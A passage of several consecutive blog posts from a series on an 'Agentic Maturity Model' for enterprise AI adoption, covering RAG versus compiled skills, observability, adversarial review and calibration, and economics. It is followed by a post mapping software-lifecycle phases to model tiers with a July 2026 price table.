So: two numbers. The one you track, and the one that decides whether the first one is an asset or a liability.
Capability above verification is risk. Verification above capability is waste. Maturity is the discipline of climbing both ladders in step.
---
# RAG Is Runtime Knowledge, **Skills Are Compiled Knowledge**
Published: 2026-07-08T17:19:08.000-0400
Series: The Agentic Maturity Model (Part 4)
Tags: agents, llm, ai-development, amm, enterprise, rag
Source: https://www.voodootikigod.com/amm-4-rag-runtime-skills-compiled
> RAG enters at Level 2 and gets mistaken for the destination. Skills are compiled knowledge, and distillation is the compiler that gets you there.
Somewhere in your company's AI strategy deck is a slide that says "We implemented RAG over our internal knowledge base," and it's presented as an arrival, a line item you can check off and move past.
It's not a destination. It's a rung, and a low one.
## RAG enters at Level 2, not the finish line
Mistaking it for the finish line is the single most over-claimed maturity signal in the enterprise. The [previous posts in this series](/amm-3-diagonal-law) put trust location on two axes: capability and verification. There's a third track running underneath both, knowledge, and it has its own ladder. Retrieval-augmented generation shows up early on that ladder, at Level 2, right alongside the copilots and the review dashboards that make an organization feel mature while its actual verification stays exactly where it was before AI arrived.
The knowledge ladder, in full:
- **None (L0).** No sanctioned knowledge layer at all.
- **Personal context-pasting (L1).** Whatever an individual happens to paste into a chat window that session. Gone when the tab closes.
- **RAG over the organizational corpus (L2).** "Chat with our docs." Genuinely useful, genuinely necessary, and the point where most enterprise knowledge strategy stops.
- **Agentic retrieval plus a curated skill library (L3).** Retrieval becomes one tool among several an agent chooses to invoke, its quality measured rather than assumed, living alongside deliberate context engineering and a skill library someone actually curates.
- **The distillation loop (L4).** Stable knowledge migrates continuously out of retrieval and into skills, and RAG gets scoped down to what genuinely changes faster than that migration can keep up.
The organizing idea for the whole track fits in one line:
> **RAG is runtime knowledge. Skills are compiled knowledge. Distillation is the compiler.**
## Compiled doesn't mean deterministic
Let us push on the compiler metaphor for a second, because it buys you less than it sounds like it does, and the gap matters.
Compiling knowledge into a skill gets you repeatable *packaging*: a versioned, shared, reviewable artifact that bundles procedure, context, and constraints, cheaper to invoke than a retrieval call and legible to a human who wants to audit what the agent was told. What it does not get you is deterministic execution. A skill still runs on a non-deterministic model. Two agents loading the identical skill file can still produce different output, because the compiler here compiles the instructions, not the interpreter that reads them.
That's why skills need version-pinned evaluation, the same discipline code needs tests, not a one-time authoring pass followed by faith. I built [a whole package to track this for my own skill collection](https://voodootikigod.com/your-agents-knowledge-has-a-shelf-life/?ref=voodootikigod.com). A skill nobody re-verifies is a skill quietly voting against itself.
## The maturity signal is migration, not corpus size
Here's where a lot of enterprise knowledge strategy gets the measurement backwards. A growing retrieval corpus is not, by itself, evidence of anything. A legitimately growing business legitimately grows its corpus: new products, new regions, new tickets. Corpus size is not the tell.
The real signal is migration. Stable, procedural knowledge, the stuff that gets asked the same way every time, should be leaving retrieval and landing in the skill library, continuously. An organization whose retrieval corpus keeps absorbing procedures that never compile into anything is hoarding, not learning. It's the knowledge-track equivalent of a wiki nobody prunes: technically searchable, actually a landfill.
## M4, the RAG Plateau (knowledge track stuck at stage 2, claimed as stage 4)
"We implemented RAG" gets presented as an AI strategy on its own, full stop. It's runtime retrieval hoarding wearing the costume of a finished capability, with no compilation into skills happening underneath it. The organization can genuinely answer more questions than it could a year ago and still be exactly as immature as it was before, because nothing it learned got compiled into anything durable. Every answer is re-derived, at retrieval cost, forever.
The fix isn't ripping out RAG. It's the same discipline I described for [an individual codebase's skill mining loop](https://voodootikigod.com/skill-mining/?ref=voodootikigod.com): survey what keeps getting asked and answered the same way, and migrate the stable patterns into versioned skills instead of leaving them to be re-fetched on every request. RAG doesn't disappear at Level 4. It gets scoped down to what actually deserves runtime lookup: today's document, this week's ticket, the state of a system right now. Everything with a stable answer moves out.
## M7, Skill Rot (knowledge stage 3 without observability stage 4)
The opposite failure looks more mature and is arguably worse, because it comes *after* an organization did the hard part. A skill library gets authored, once, in a burst of real enthusiasm. Nobody re-mines it. Nobody versions it against the products it describes. It quietly decays into misinformation delivered with the full authority of an approved, sanctioned artifact, which is exactly the property that made it valuable in the first place.
I've watched this happen to my own work at Vercel scale: twenty-two products, each shipping on its own cadence, fifty-seven skill files that don't update themselves. A skill that says `npm install @vercel/workflow` months after the package was renamed to `workflow` doesn't fail loudly. It fails quietly, sending a developer down a path that used to be right, and the fix is the same category of discipline code has had for a decade: a registry of what each skill claims to know, a checker that compares claims against what's actually shipping, and a `product-version` field that makes staleness visible instead of silent. [The full shape of that fix is here](https://voodootikigod.com/your-agents-knowledge-has-a-shelf-life/?ref=voodootikigod.com), and the pattern generalizes past any one company's products.
Skill Rot is a knowledge-track trap, not a capability or verification one, which is why it doesn't show up as a cell on the [Diagonal Law's grid](/amm-3-diagonal-law). It lives one layer under the grid, in whether the compiled knowledge that grid's Level 3 and Level 4 quietly assume is actually still true.
## Knowledge needs a witness
Neither of these traps are caught by asking "do we have RAG" or "do we have skills." Both answers can be yes while the organization is actively decaying. What catches them is the same thing that catches every trap in this model: a specific, checkable fact, not a survey answer. Whether stable knowledge is actually migrating out of retrieval. Whether skills are actually being re-verified against what they claim.
That fact doesn't produce itself. It's an observability question: what an organization can see about its own knowledge layer, and whether it's recording the kind of evidence that migration and rot both require to be caught early instead of discovered in production. That's the next track, and the next post.
---
# You Cannot Distill What You Do Not **Record**
Published: 2026-07-08T17:14:08.000-0400
Series: The Agentic Maturity Model (Part 5)
Tags: agents, llm, ai-development, amm, enterprise, observability
Source: https://www.voodootikigod.com/amm-5-observability
> Observability is a track, not a level, on purpose. Every transition in this model is an observability upgrade before it is a tooling upgrade.
Picture the AI transformation dashboard most executive teams are looking at right now: seats licensed, tokens consumed, acceptance rate, all trending the right direction, all green. Now ask the room a second question. What's your defect escape rate? What percentage of your gates actually catch a planted defect when you test them?
Watch how fast the room goes quiet.
## Acceptance rate is a sentiment metric in a lab coat
That line showed up once already in this series, describing [the review bottleneck](/amm-3-diagonal-law) that most enterprise AI programs are currently living inside without knowing it. It belongs here too, because it's really a claim about observability: acceptance rate looks like a hard number. It has decimal places. It updates in real time on a dashboard. And it measures approvals, not attention, which means it can climb every single week that the thing it's supposed to be a proxy for, actual review integrity, quietly falls apart underneath it.
That gap is not a data problem you fix by adding another chart. It's a track this model treats as its own dimension, separate from where trust lives and separate from what capability an organization has deployed.
## Why observability is a track and not a level
It would be tempting to make observability Level 5, the reward for finishing everything else. That's exactly backwards, and the model is built to resist it on purpose. Making observability a level lets an organization defer it to the end, which means deferring the one thing every other transition actually depends on.
Every level transition in this model is an observability upgrade before it is a tooling upgrade:
- **0 → 1** requires seeing shadow usage: the gap between what the egress logs actually show and what the sanctioned tool list says should be there. You cannot govern what you deny exists, and an organization that hasn't built the visibility to see its own shadow fleet can't move past prohibition honestly, only on paper.
- **1 → 2** requires usage telemetry: which tools, which teams, what spend. Without it there's no way to know whether sanctioned tooling is actually being used, or just approved.
- **2 → 3** requires *outcome* telemetry, defect escape rates, an honest measurement of how deeply reviewers are actually reading. This is the one most dashboards skip, because the review bottleneck is invisible to usage telemetry by construction. Seats and acceptance rates look wonderful right up until you superimpose the escaped-defect curve on top of them, and the two lines tell completely different stories.
- **3 → 4** requires *learning* telemetry: which findings recur, which gates catch planted defects, which skills actually get hit in practice. Distillation and skill mining consume this telemetry as raw material. Without it, there's nothing to mine.
Put plainly:
> **You cannot verify what you cannot observe, and you cannot distill what you do not record.**
Each transition is gated by the specific kind of evidence it consumes, not by telemetry in general. Outcome telemetry doesn't help you distill. Learning telemetry doesn't help you see shadow usage. Bringing the wrong instrument to a transition is its own kind of theater.
## M5, Dashboard Theater (observability track stuck at stage 2)
I've sat in too many meetings where the dashboard is all green and the one number that matters was never on it. This is the trap living directly underneath the pleasant-looking dashboard from the top of this post. Seats, tokens, and acceptance rate get reported as outcomes, full stop, with no defect-escape data, no gate-calibration data, and no accuracy analysis anywhere in the building. It's not usually dishonesty. It's an organization measuring what was easy to measure at the moment it started measuring, and then never asking whether that measurement still means what it used to.
The uncomfortable part of this trap is that it can coexist with real progress elsewhere. A company can build genuine rails, charter real adversarial review, and still report its AI program's health entirely in usage terms, because that's the telemetry the organization invested in first and nobody circled back. Dashboard Theater isn't the absence of data. It's the presence of the wrong kind, reported with the confidence of the right kind.
One caution the model is explicit about, because it would be easy to over-correct into a different mistake: telemetry is not virtuous by itself. An organization that instruments everything and acts on nothing has just built a more expensive version of the same theater. The point was never "collect more data." It's that each transition consumes a *specific* kind of evidence, and the discipline is matching the instrument to the boundary you're actually trying to cross.
## What this buys the next two tracks
Observability only earns its keep through what it feeds.
The [verification track](/amm-6-review-prosecution-calibration) runs on outcome and learning telemetry: you cannot calibrate a gate's catch rate without recording what it caught and what it missed, and you cannot know a review process has degraded into rubber-stamping without measuring review depth directly rather than inferring it from approvals. The [knowledge track](/amm-4-rag-runtime-skills-compiled) runs on the same raw material from the other direction: skill mining needs to know which patterns recur before it can compile them, and skill-rot detection needs a record of what a skill claimed to be true so it can be checked against what's actually true now.
Neither of those loops closes without something recording, continuously, what actually happened. That's what makes observability a precondition rather than an option: it isn't a level you eventually reach. It's the thing every other level was quietly standing on the whole time.
---
# From Review to Prosecution to **Calibration**
Published: 2026-07-08T17:09:08.000-0400
Series: The Agentic Maturity Model (Part 6)
Tags: agents, llm, ai-development, amm, enterprise, code-review
Source: https://www.voodootikigod.com/amm-6-review-prosecution-calibration
> Adversarial review is not a Level 4 luxury. It is the entry requirement for Level 3, and it matures into an instrument with a known error rate.
A lot of leaders hear "Level 3" and picture more agents. Agents everywhere! More autonomy, wider deployment, the capability number going up again. That's half right and the less important half. Level 3 is defined by what happens underneath the agents, not by how many of them you're running.
## Adversarial review is not a Level 4 luxury
It's the entry requirement for Level 3. That ordering surprises people, because review, in most enterprise imaginations, is the mature, careful, later-stage thing you add once the exciting capability work is done. In this model it's the opposite: without it, you cannot safely delegate whole tasks to agents at all, because nothing established that the output is correct.
[Adversarial review](/adversarial-review) is what actually replaces the human review bottleneck [described earlier in this series](/amm-2-five-levels): fresh contexts, chartered specifically to refute the work rather than assess it, running until findings converge instead of stopping at whatever a single tired pass happens to catch. It's the same mechanism the ADLC calls [prosecution](/adlc-4-prosecution-not-code-review) when the work under review is code, and the underlying claim is domain-general: a reviewer that shares the builder's context will rubber-stamp the builder's blind spots, sincerely, every time. A reviewer that doesn't share that context is the only thing that can actually see them.
## The verification ladder, walked as an organizational decision
The [Diagonal Law post](/amm-3-diagonal-law) already named these five stages as the vertical axis of the grid. Here they are again, this time as the sequence of decisions an organization actually has to make, not just a taxonomy:
- **V0 - Prevention.** The organization's only control is a policy document. Nothing gets verified because, officially, nothing exists.
- **V1 - Individual judgment.** Whoever ran the prompt decides whether the output is good enough. This is a private, unaccountable, unfalsifiable form of trust, and it's where most companies actually spend their "experimentation phase."
- **V2 - Human review.** A person reads everything before it counts. This is the trust mechanism the organization already had before AI arrived, kept in place unchanged, which is precisely why it becomes the review bottleneck the moment production volume multiplies and reviewer headcount doesn't.
- **V3 - Rails and adversarial review.** Executable tests frozen before implementation exists. Contracts the builder is mechanically prevented from arguing with. Fresh contexts chartered to refute. This is the stage where trust actually relocates from a person's attention to a mechanism, and it's the only stage on this ladder that requires the organization to build something rather than staff or buy something.
- **V4 - Calibrated prosecution.** The gates from V3, now measured rather than trusted on faith.
Notice the shape of that progression: every rung through V2 is a *policy about who looks*. V3 is the first rung that's a *mechanism*, and that's the transition this entire track hinges on. Every capability rung above it is only safe once the verification rung underneath has actually been built.
## What calibration actually means, and why "we have review" isn't an answer
V4 is where review stops being a ritual and becomes an instrument with a known error rate, and the mechanism is specific: planted defects, drawn from a held-out, severity-stratified bank the reviewed system cannot see, run through the gate the same way real work runs through it. What comes back is a number: what fraction of real, categorized defects did this gate actually catch.
That number matters more than most enterprises expect, because "we have review" and "we know our review catches sixty percent of the security-relevant category and eighty-five percent of the correctness category" are two entirely different claims dressed in the same sentence. The first is a policy. The second is engineering. I watched this distinction get proven the hard way, aiming [prosecution at the review-calibration gate itself](/adlc-9-prosecuting-the-gates): the honesty meter that was supposed to measure review depth turned out to be gameable, and once that was found, the fix was frozen into a test so it couldn't quietly revert. That's not a hypothetical failure mode. It's what happens when nobody adversarially checks the thing that's supposed to be checking everything else.
An audit check that doesn't state the measured quantity and the specific gaming it resists isn't a real audit check. It's a sentiment metric with better production values, exactly the failure this whole model exists to catch elsewhere. "We have a calibration process" is not evidence. The catch rate, per category, with the plant bank held out from the system being measured, is.
## Why this track can't be bought, only built
Every other track in this model has tooling you can procure. Eval platforms, guardrail products, red-team services, all genuinely for sale and genuinely useful. What isn't for sale is the organizational decision this track actually requires: a leader who stops mandating human review of everything, on the basis of evidence rather than optimism, because someone showed them what the machine gates catch.
That's the reason [you cannot leapfrog this ladder](/amm-3-diagonal-law) by buying agents and skipping straight to Level 3. Rails have to be authored by people who learn to write executable specifications. Adversarial review has to be chartered and then believed, which means calibrated. Nobody sells an organization's willingness to actually trust the number a calibration run produces instead of the number a survey produces. That willingness is the whole transition, and it's the reason V2 to V3 is where most enterprise AI programs stall out for months even after the tooling is sitting there, purchased and unused.
Get the verification track right and the economics move next, because a gate you trust is a gate you can stop paying a human to duplicate. That's where this series goes from here.
---
# The **Economics of Level 4**
Published: 2026-07-08T17:04:08.000-0400
Series: The Agentic Maturity Model (Part 7)
Tags: agents, llm, ai-development, amm, enterprise
Source: https://www.voodootikigod.com/amm-7-economics
> A Level 2 organization can spend more on AI than a Level 3 one and still be the less mature company. Maturity is not monotone in usage. Here is why.
Ask a CFO how the AI budget is doing and you'll get a number about spend. Ask what that spend bought and, at most companies, the answer degrades quickly into a survey: people say they're more productive, the licenses are being used, the sentiment is positive. That's the entire economic case, fancying itself as a ROI slide.
[The first post in this series](/amm-1-adoption-curve-not-maturity) named the problem this creates: a company can be a top 10% AI spender and a bottom 10% AI organization at the same time. This post is about why that's not a paradox. It's the predictable output of measuring the wrong variable.
## The economic ladder
Each level in this model has its own economic reality, not just its own trust mechanism, and the two move together.
- **ROI by survey (Level 2).** Per-seat licenses, usage dashboards, and a satisfaction question standing in for a measurement. This is the economics of the review bottleneck: spend scales with adoption, and nothing in the budget process asks whether the underlying work got any more trustworthy.
- **Task-level routing (Level 3).** Model tier gets chosen by the cost of an *undetected* error, not by task prestige. A low-stakes, fully-railed task routes to a cheap model because a mistake gets caught cheaply. A task where an error would escape gate detection routes to a stronger model, or to more verification, because that's where an undetected mistake actually costs something. This is the first level where spend is a *decision* rather than a default.
- **Cost per merged, verified change (Level 4).** The unit of account stops being tokens per developer per month and becomes the cost of one piece of work that's actually done and actually trustworthy, and that number trends down, quarter over quarter, because the system is built to make it fall.
That last point is the one worth sitting with, because it inverts the intuition most leaders bring into this conversation: that better verification necessarily costs more, forever.
## The flywheel: cheaper and stricter at the same time
It doesn't cost more forever, because verification at Level 4 isn't a standing expense. It's a ratchet. A finding that recurs, a category of mistake caught by review three sprints in a row, gets converted into its cheapest permanent defense: a deterministic lint rule if the pattern is mechanical, a versioned skill if it needs context, a new question in the spec-interrogation template if the bug existed because nobody asked. Each conversion moves that category of defect from probabilistic, dollars-per-catch detection to deterministic, free-forever detection.
I watched this compounding effect described in detail from the practitioner's side [in the ADLC series](/adlc-6-lifecycle-gets-cheaper): the diagnostic that matters is whether prosecution spend is trending down over time. If it's flat or rising, the organization is re-buying the same lessons every sprint, paying LLM-review prices for a mistake that should have been caught by a lint rule months ago. If it's declining, the system is doing exactly what Level 4 is supposed to do: getting stricter, because more categories of defect are now caught by something, and cheaper, because fewer of those catches require a model at all.
That's the flywheel in one sentence: **the system gets cheaper and stricter simultaneously**, and the mechanism is the same distillation loop that [the knowledge track](/amm-4-rag-runtime-skills-compiled) runs on. Capability migrates out of the model tier and into the artifact layer, where it compounds instead of getting re-billed per token, forever, for the same mistake.
## Why maturity is not monotone in usage
Here's the line worth putting directly in front of whoever owns the AI budget: **a Level 2 organization may consume more tokens than a Level 3 organization.**
That's not a hypothetical edge case. It's close to the default comparison. A Level 2 organization is running every task through a human reviewer *and* through however many copilots and chat tools got procured along the way, with no routing discipline separating a low-stakes task from a high-stakes one. A Level 3 organization routes deliberately: cheap models on fully-railed work, verification concentrated exactly where an error would actually escape. The Level 3 organization can easily show a smaller token bill and be doing categorically more trustworthy work, because it stopped spending everywhere enthusiasm reached and started spending where an error was expensive to miss.
This is why a leaderboard ranked by AI spend is worse than useless as a maturity signal. It can be actively inverted. The company burning the most tokens may be the company that never built the routing discipline to spend less while catching more, and every dollar of that overspend is quietly financing the review bottleneck instead of dissolving it.
## The number that actually tells you something
If there's one number worth asking for instead of a spend total, it's cost per merged, verified change, and its trendline. A flat trendline is not a steady state. It's a failure signal: the distillation loop isn't running, and the organization is paying full price for the same lessons, on repeat, indefinitely.
A falling trendline is the only economic evidence that a maturity claim is real, because it's the one number that can't be improved by throwing more licenses at the problem. It only falls when trust is actually migrating from expensive, probabilistic human and model attention into cheap, permanent, deterministic controls. Everything else on the AI budget slide is a proxy. This is the measurement.
Pull every track in this series together, the levels, the diagonal, the knowledge ladder, the observability ladder, this economic ladder, and you get something an organization can actually run against itself: not a survey, an audit, with a level, a cell, and a keystone unlock at the end of it.
---
# The **Assessment**
Published: 2026-07-08T16:59:08.000-0400
Series: The Agentic Maturity Model (Part 8)
Tags: agents, llm, ai-development, amm, enterprise
Source: https://www.voodootikigod.com/amm-8-the-assessment
> Seven posts of theory collapse into one afternoon of audit checks: where you are, what dissolves the wall in front of you, and what to build next.
Seven posts in, you can probably already place your organization: a level, a cell on the diagonal grid, maybe a trap or two you recognized a little too well. That's not an accident. Every claim in this series was built to be audit-checkable, not sentiment-checkable, which means the assessment was never a separate document you'd commission later. It's been running the whole time. This post just collects it into something you can actually walk into a room and use.
## The diagnostic, assembled
Two tools from earlier in this series do the actual locating. [Part two](/amm-2-five-levels) gave each level a one-afternoon audit check: an anonymous survey against egress logs for Level 0, a search for a single shared versioned artifact for Level 1, a plot of review duration against diff size for Level 2, a named gate for Level 3, a distillation log and a cost trendline for Level 4. [Part three](/amm-3-diagonal-law) gave you three questions that place any workstream on the capability-by-verification grid in under a minute, and named the seven traps that show up when capability and verification drift apart.
Run both per workstream, not per company. A large organization occupies a region, not a point, and the outliers are the ones that produce incidents. The assessment isn't a survey you administer once a year. It's a set of facts you could, in principle, check on any given Tuesday.
## What dissolves each wall, in order
Every boundary in this model has exactly one keystone unlock, the specific investment that dissolves the wall rather than just absorbing the pressure it creates for another quarter.
You've seen this table once already, in [part two](/amm-2-five-levels), back when it was a reference you checked your position against. Having walked the knowledge, observability, and economic tracks since, read it again as a sequence you execute, not a lookup you consult.
| Transition | Wall being dissolved | Keystone unlock |
|---|---|---|
| 0 → 1 | Shadow usage | Amnesty plus visibility: acknowledge the usage, make it observable |
| 1 → 2 | Nothing compounds | Sanctioned tooling, the first shared skills, usage telemetry |
| 2 → 3 | The review bottleneck | Adversarial review plus frozen rails, trust migration from human attention to machine gates |
| 3 → 4 | Flat unit costs | Skill mining plus gate calibration, the distillation loop |
Two things about this table are easy to miss on a first read, and both matter more than the table itself.
The first is that [observability shows up as a prerequisite at every single row](/amm-5-observability), not as its own transition. You can't dissolve 0→1 without seeing shadow usage first. You can't dissolve 2→3 without outcome telemetry making the bottleneck visible at all, because it's invisible to the usage dashboards an organization already has. The unlock in the right column is never just a tool purchase; it's a tool purchase that only works because the observability underneath it was built first.
The second is that these unlocks are sequenced, not optional add-ons you can reorder to taste. Skill mining is precisely located as the mechanism of the 3→4 transition, the enterprise generalization of [the ADLC's distill phase](/adlc-6-lifecycle-gets-cheaper) applied to every recurring procedure the organization runs through AI, not code specifically. That mechanism does not work as a 1→2 move. An organization that tries to skill-mine its way past the review bottleneck before it has adversarial review and frozen rails in place is not climbing the ladder. It's buying a capability rung and standing on it with nothing underneath, which [the diagonal law already named](/amm-3-diagonal-law): capability above verification is risk, no matter how sophisticated the capability is.
## The ADLC is the reference implementation, not the definition
This series and the [nine-part Agentic Development Lifecycle series](/series/adlc) answer different questions on purpose. The AMM tells an organization where it is. The ADLC shows what Level 4 actually looks like running, for software development specifically.
That specificity matters, because the verification stages in this model are defined by outcomes, not by any one methodology. V3 means acceptance criteria frozen before implementation begins, plus review chartered to refute rather than assess. V4 means gates with measured catch rates, and findings that get converted into permanent controls instead of re-discovered next sprint. Any process that demonstrably achieves those outcomes qualifies as Level 3 or Level 4 verification. The ADLC is one such process, thoroughly documented and battle-tested, not the only possible one.
Where the ADLC's phases land on this model's tracks:
| ADLC phase | Maps to |
|---|---|
| [Rail](/adlc-3-tests-are-the-spec) and [Prosecute](/adlc-4-prosecution-not-code-review) | Verification track, stages 3-4: rails, adversarial review, calibration via planted defects |
| [Triage](/adlc-2-two-human-gates#p0) (route by blast radius) | Economics track, stage 3: task-level routing |
| [Distill](/adlc-6-lifecycle-gets-cheaper) | Knowledge and observability tracks, stage 4: skill mining, learning telemetry |
| [Two Human Gates](/adlc-2-two-human-gates) | The Level 3 trust relocation itself |
| [Three Dials](/adlc-5-three-dials-parallel-agents) | Capability track, stage 4: orchestration |
Every row in that table is a place where a practitioner-level post in the other series shows the machinery this series describes from the leader's chair. If your organization is trying to build its way to Level 3 or Level 4 in software specifically, that series is the how. This one has been the where, and the why it matters enough to fund.
## Two audiences, one system
I wrote the ADLC for the practitioner who has to actually build Level 4: the person authoring the rails, chartering the adversarial review, writing the distillation loop that converts this quarter's findings into next quarter's lint rules. I wrote this series for the person who signs off on that practitioner's budget, headcount, and timeline, and who is currently being told by every dashboard in the building that Level 2, the one with the green usage charts and the human reading every diff, is the destination.
It isn't. It's the level that feels the most like maturity while doing the least to earn the name, because it's the level where the adoption metrics and the actual trust mechanism can point in completely opposite directions without anyone noticing for a very long time.
The whole series, in order: [the adoption curve isn't a maturity model](/amm-1-adoption-curve-not-maturity), [the five levels](/amm-2-five-levels) and the walls between them, [the diagonal law](/amm-3-diagonal-law) and the seven traps it names, [RAG as runtime knowledge against skills as compiled knowledge](/amm-4-rag-runtime-skills-compiled), [why you cannot distill what you do not record](/amm-5-observability), [adversarial review as Level 3's entry fee, not Level 4's luxury](/amm-6-review-prosecution-calibration), and [the economics that make Level 4 cheaper and stricter at once](/amm-7-economics).
Find your organization on the grid. Name the wall in front of it. Build the one unlock that actually dissolves that wall, not the one that just buys another quarter of looking mature. That's the whole assessment, and you already had everything you needed to run it before you finished this sentence.
---
# Which Model, Then? **The Binding Has an Expiry Date**
Published: 2026-07-07T21:20:00.000-04:00
Series: The Agentic Development Lifecycle (Part 10)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-10-which-model-then
> The series routes by tier and never names a model. This post does: phase-to-tier doctrine, a July 2026 binding, and the machinery that keeps it honest.
Nine posts of this series route work by *tier* (cheap, mid, frontier) and never once tell you which model to put in each slot. That was deliberate, and readers noticed anyway. The most common question I get after [Three Dials](/adlc-5-three-dials-parallel-agents) is some form of: *fine, route by escape cost, but which models do I actually configure?*
The refusal had two honest reasons. First, the doctrine is about structure, not SKUs: [you never need a model smarter than the gate it must pass](/adlc-7-built-with-the-lifecycle), and that sentence stays true through every product launch. Second, any concrete answer rots. The model market turns over its leaderboard roughly every eight weeks; a post that says "use X for builds" is misinformation with a byline by Christmas.
But a permanent refusal is a cop-out, because every team faces the binding problem on day one: before their ledger has a single sample, someone has to type a model ID into a config file. So this post does both jobs the honest way: the **durable part** (which *tier* belongs on which phase, and why; this doesn't rot), the **perishable part** (a concrete binding as of July 2026, across the major providers and the local options, presented as a worked example with its expiry date printed on the label), and the **machinery** that makes the perishable part obsolete for you, specifically, as fast as possible.
## The durable part: phase → tier
[Principle 7](/adlc-5-three-dials-parallel-agents) in one line: **model tier is a function of the cost of *detecting* an error, not of task prestige.** Where rails catch errors instantly and deterministically, the cheapest model that clears the gates is correct. Where an error escapes every gate (a subtly wrong requirement, a subtly wrong contract) you spend everything you have, because detection is the expensive half. The routing quantity is *probability an error survives all gates × blast radius*, and that quantity is computable per phase:
| Phase | Tier | Why |
| --- | --- | --- |
| **P0 Triage** | cheap | Classification with low escape cost: a mis-triaged ticket is caught by the lifecycle it's routed into. |
| **P1 Interrogate** | **frontier** | The spec is the least-verified artifact in the system. A wrong requirement sails through every downstream gate wearing a green checkmark. Do not economize here. |
| **P2 Decompose** | **frontier** for contracts; **cheap** as the gate probe | Interface contracts are frontier work for the same reason specs are. But the cold-start gate *deliberately* hands each ticket to a cheap model and asks "what's missing?" If the cheap model can enumerate the gaps, the ticket is underspecified for the mid model that will build it. This is the one place a weak model is the *point*. |
| **P3 Rail** | mid | Tests and stubs authored from spec alone, in fresh context, with hollow-test checking them deterministically. The rails carry the risk, so the author doesn't have to. |
| **P4 Build** | router-decided | The [cost dial](/adlc-5-three-dials-parallel-agents): float and dense rails → start cheap and ladder up on gate failure (escalation is regeneration, never rescue, per [F8](/adlc-1-models-arent-human#f8)); critical path → skip the ladder, go straight to the best first-pass tier in your ledger. |
| **P5 Prosecute** | mid, **stacked**, plus a second *family* at high blast radius | N fresh-context mid passes with a loop-until-dry exit beat one frontier pass, and calibration can prove it for your repo. More on the family requirement below. |
| **P6 Integrate** | none | Behavior-diff is deterministic. The human is the frontier tier at this gate. |
| **P7 Distill** | mid, renting one frontier pass to mint structure | Lesson mining runs on mid. Occasionally rent the big model to crystallize judgment into a skill, a lint, a template. Then spend mid inside that structure indefinitely. Banking, not presence. |
Notice the spend shape this produces: heavy at interrogation and prosecution, light in the middle. That is the [barbell](/adlc-6-lifecycle-gets-cheaper) falling out of the routing math rather than being imposed on it.
One framing rule before naming names: **"frontier" means the best model you are allowed to run, not the most expensive model that exists.** The lifecycle's design center is an Opus-class ceiling. It must hit its accuracy targets with ordinary commercial tiers, because that's [the common enterprise reality](/adlc-7-built-with-the-lifecycle): approved-model lists, quota ceilings, procurement lag. The ultra tiers (Fable-class, Pro-class reasoning SKUs at 5-10× the price) are headroom for your hardest interrogation problems, never a requirement. A lifecycle that *requires* the most expensive model to function is a lifecycle without gates.
## The perishable part: the July 2026 binding
Everything in this section decays. Prices are USD per million tokens, input/output, standard rates. Benchmark numbers are directional. SWE-bench *Verified* and SWE-bench *Pro* are different benchmarks whose scores must never share a sentence without a warning label, so here's the label.
| Tier | Anthropic | OpenAI | Google | xAI / open-weight |
| --- | --- | --- | --- | --- |
| cheap | Haiku 4.5 ($1/$5) | GPT-5.4 nano ($0.20/$1.25) | Gemini 3.1 Flash-Lite ($0.25/$1.50) | Grok 4.1 Fast ($0.20/$0.50) · DeepSeek V4 Flash ($0.14/$0.28) |
| mid | Sonnet 5 ($3/$15) | GPT-5.4 ($2.50/$15) | Gemini 3.5 Flash ($1.50/$9) | Kimi K2.6 ($0.55/$2.65) · GLM-5.2 ($1.40/$4.40) |
| frontier | Opus 4.8 ($5/$25) | GPT-5.5 ($5/$30) | Gemini 3.1 Pro ($4/$18) | Grok 4.3 ($1.25/$2.50) · DeepSeek V4 Pro |
| above ceiling | Fable 5 ($10/$50) | GPT-5.5 Pro ($30/$180) | n/a | n/a |
The specific rows will be stale before you finish rolling them out. What's worth internalizing is the *structural* facts underneath, because those change slower:
**The tier↔price correlation has come loose in both directions.** Grok 4.3 posts frontier-adjacent coding numbers at mid-tier-cheap prices; GPT-5.5 Pro costs 36× Grok's input rate without being 36× anything. "Expensive therefore capable" was always a weak heuristic; in July 2026 it's just false. This is why the router routes by *measured first-pass rate per tier*, not by price band.
**Open-weight crossed the mid-tier line.** DeepSeek V4 sits at the top of the open SWE-bench Verified table; GLM-5.2 and Kimi K2.6 beat a closed flagship on SWE-bench Pro. The practical consequence isn't ideological. It's that the cheap and mid tiers now contain *distinct model families* at prices that make stacked prosecution passes nearly free.
**Local is a real tier now.** A single 24-32GB consumer GPU runs a competent cheap tier (Qwen3-Coder-30B, Devstral Small 2). A Mac Studio with 64-128GB of unified memory runs Qwen3-Coder-Next at ~70% SWE-bench Verified: a legitimate *mid* tier for rail-dense builds, at marginal cost ≈ 0. Two routing consequences follow. First, a free ladder start changes the ladder math: for float-rich tickets, failed cheap attempts cost only wall-clock that the float absorbs, so the rail-density floor for "try cheap first" can loosen. Second, the cold-start probe is the perfect local job: free, private, and the *weaker* the probe, the more honest the gate. And one hard limit: the single-machine ceiling is a mid tier. Do not put a local model on P1/P2 frontier duties; those phases exist precisely because their errors escape gates, and escaped-error cost is where the capability gap bites hardest.
## Family is a routing dimension, not just tier
The tier abstraction hides one thing that matters at exactly one phase. Within a model family, blind spots correlate: the same training lineage that makes a builder miss a class of bug makes its sibling reviewer miss the same class. [Prosecuting the Gates](/adlc-9-prosecuting-the-gates) showed the single-context version of this: never judge work your own context produced. The family version is weaker but real: a same-family prosecution stack, however many passes, keeps some of the builder's blind spots.
The fix costs almost nothing given the price table above: at high blast radius (trust boundaries, deny paths, auth, secrets, data loss, schema migrations, CI/CD), add one prosecution pass from a *different* family and treat any single family's clean approve as advisory. When I ran a cross-family pass over this toolkit's own gate code, the second family surfaced roughly seventeen deny-path bypasses that same-family prosecution had approved. Not seventeen findings. Seventeen *bypasses of the security gates*, found only when the reviewer's priors differed from the builder's. The open-weight mid tier makes this insurance nearly free: an Anthropic-primary shop adds GLM-5.2 or Kimi K2.6 as the second family for cents per review.
## The machinery: how a binding stays honest
[Principle 10](/adlc-6-lifecycle-gets-cheaper) eats its own routing table here: **a published model recommendation is a cache, and caches need invalidation.** Every artifact the next agent reads goes stale and then actively injects misinformation with the voice of authority. A model-recommendation table is the fastest-rotting artifact in the whole lifecycle. So the toolkit treats its own binding the way it treats every other cache:
1. **Date-stamp it.** The [toolkit's binding document](https://www.agenticlifecycle.ai/docs/reference/models-by-phase?ref=voodootikigod.com) opens with its snapshot date and a warning, not with the table.
